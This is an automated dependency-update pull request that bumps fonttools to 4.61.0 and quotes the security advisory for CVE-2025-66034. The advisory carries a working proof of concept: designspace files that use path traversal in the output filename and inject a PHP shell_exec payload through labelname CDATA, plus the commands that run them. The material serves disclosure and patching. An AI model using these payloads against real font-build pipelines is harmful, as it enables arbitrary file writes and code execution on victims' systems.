chore(deps): update dependency fonttools to v4.61.0 [security] (#1286)

This PR contains the following updates:

| Package | Change | Age | Confidence |
|---|---|---|---|
| [fonttools](https://redirect.github.com/fonttools/fonttools) |
`==4.60.1` -> `==4.61.0` |
[![age](https://developer.mend.io/api/mc/badges/age/pypi/fonttools/4.61.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/fonttools/4.60.1/4.61.0?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

### GitHub Vulnerability Alerts

####
[CVE-2025-66034](https://redirect.github.com/fonttools/fonttools/security/advisories/GHSA-768j-98cg-p3fv)

## Summary

The `fonttools varLib` (or `python3 -m fontTools.varLib`) script has an
arbitrary file write vulnerability that leads to remote code execution
when a malicious .designspace file is processed. The vulnerability
affects the `main()` code path of `fontTools.varLib`, used by the
fonttools varLib CLI and any code that invokes
`fontTools.varLib.main()`.

The vulnerability exists due to unsanitised filename handling combined
with content injection. Attackers can write files to arbitrary
filesystem locations via path traversal sequences, and inject malicious
code (like PHP) into the output files through XML injection in labelname
elements. When these files are placed in web-accessible locations and
executed, this achieves remote code execution without requiring any
elevated privileges. Once RCE is obtained, attackers can further
escalate privileges to compromise system files (like overwriting
`/etc/passwd`).

Overall this allows attackers to:
- Write font files to arbitrary locations on the filesystem
- Overwrite configuration files
- Corrupt application files and dependencies
- Obtain remote code execution

The attacker controls the file location, extension and contents which
could lead to remote code execution as well as enabling a denial of
service through file corruption means.

## Affected Lines

`fontTools/varLib/__init__.py`
```python
filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write
```

## PoC
1. Set up `malicious.designspace` and respective `source-*.ttf` files in
a directory like `/Users/<username>/testing/demo/` (will impact relative
file location within malicious.designspace)

`setup.py`
```python

#!/usr/bin/env python3
import os

from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def create_source_font(filename, weight=400):
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})
    
    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.closePath()
    
    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
    fb.save(filename)

if __name__ == '__main__':
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)
```

`malicious.designspace`
```xml
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
  </axes>
  
  <sources>
    <source filename="source-light.ttf" name="Light">
      <location>
        <dimension name="Weight" xvalue="100"/>
      </location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location>
        <dimension name="Weight" xvalue="400"/>
      </location>
    </source>
  </sources>
  
  <!-- Filename can be arbitrarily set to any path on the filesystem -->
  <variable-fonts>
    <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>
```

Optional: You can put a file with any material within
`../../tmp/newarbitraryfile.json` in advance, the contents in the file
will be overwritten after running the setup script in the following
step.

2. Run the setup.py script to generate `source-*.tff` files required for
the malicious.designspace file.
```bash
python3 setup.py
```
3. Execute the given payload using the vulnerable varLib saving the file
into the arbitrary file location of filename
```bash
fonttools varLib malicious.designspace
```
4. Validate arbitrary file write was performed by looking at path
assigned within malicious designspace
```bash
cat 
```
5. After validating that we can provide arbitrary write to any location,
we can also validate that we can control sections of content as well
demonstrated with the below payload.

`malicious2.designspace`
```xml
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
	<axes>
        <!-- XML injection occurs in labelname elements with CDATA sections -->
	    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
	        <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname>
	        <labelname xml:lang="fr">MEOW2</labelname>
	    </axis>
	</axes>
	<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
	<sources>
		<source filename="source-light.ttf" name="Light">
			<location>
				<dimension name="Weight" xvalue="100"/>
			</location>
		</source>
		<source filename="source-regular.ttf" name="Regular">
			<location>
				<dimension name="Weight" xvalue="400"/>
			</location>
		</source>
	</sources>
	<variable-fonts>
		<variable-font name="MyFont" filename="output.ttf">
			<axis-subsets>
				<axis-subset name="Weight"/>
			</axis-subsets>
		</variable-font>
	</variable-fonts>
	<instances>
		<instance name="Display Thin" familyname="MyFont" stylename="Thin">
			<location><dimension name="Weight" xvalue="100"/></location>
			<labelname xml:lang="en">Display Thin</labelname>
		</instance>
	</instances>
</designspace>
```

6. When the program is run, we can show we control the contents in the
new file
```bash
fonttools varLib malicious2.designspace -o file123
```
Here being outputted to a localised area ignoring filename presented in
variable-font

7. We can look inside file123 to validate user controlled injection
```bash
cat file123
```
to show `<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]>`

8. Executing the file and reading looking at the newly generated file
```bash
php file123
ls -la /tmp/MEOW123
```
we can see that the file was just created showing RCE.

## Recommendations

- Ensure output file paths configured within designspace files are
restricted to the local directory or consider further security measures
to prevent arbitrary file write/overwrite within any directory on the
system

---

### Release Notes

<details>
<summary>fonttools/fonttools (fonttools)</summary>

###
[`v4.61.0`](https://redirect.github.com/fonttools/fonttools/releases/tag/4.61.0)

[Compare
Source](https://redirect.github.com/fonttools/fonttools/compare/4.60.1...4.61.0)

- \[varLib.main]: **SECURITY** Only use basename(vf.filename) to prevent
path traversal attacks when running `fonttools varLib` command-line
script. Fixes CVE-2025-66034, see:
<GHSA-768j-98cg-p3fv>.
- \[feaLib] Sort BaseLangSysRecords by tag
([#&#8203;3986](https://redirect.github.com/fonttools/fonttools/issues/3986)).
- Drop support for EOL Python 3.9
([#&#8203;3982](https://redirect.github.com/fonttools/fonttools/issues/3982)).
- \[instancer] Support --remove-overlaps for fonts with CFF2 table
([#&#8203;3975](https://redirect.github.com/fonttools/fonttools/issues/3975)).
- \[CFF2ToCFF] Add --remove-overlaps option
([#&#8203;3976](https://redirect.github.com/fonttools/fonttools/issues/3976)).
- \[feaLib] Raise an error for rsub with NULL target
([#&#8203;3979](https://redirect.github.com/fonttools/fonttools/issues/3979)).
- \[bezierTools] Fix logic bug in curveCurveIntersections
([#&#8203;3963](https://redirect.github.com/fonttools/fonttools/issues/3963)).
- \[feaLib] Error when condition sets have the same name
([#&#8203;3958](https://redirect.github.com/fonttools/fonttools/issues/3958)).
- \[cu2qu.ufo] skip processing empty glyphs to support sparse kerning
masters
([#&#8203;3956](https://redirect.github.com/fonttools/fonttools/issues/3956)).
- \[unicodedata] Update to Unicode 17. Require `unicodedata2 >= 17.0.0`
when installed with 'unicode' extra.

</details>

---

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dev-requirements.txt

@@ -54,7 +54,7 @@ fastapi-cloud-cli==0.3.1
 filelock==3.20.0
 flexcache==0.3
 flexparser==0.4
-fonttools==4.60.1
+fonttools==4.61.0
 frozenlist==1.8.0
 fsspec==2025.10.0
 funcy==2.0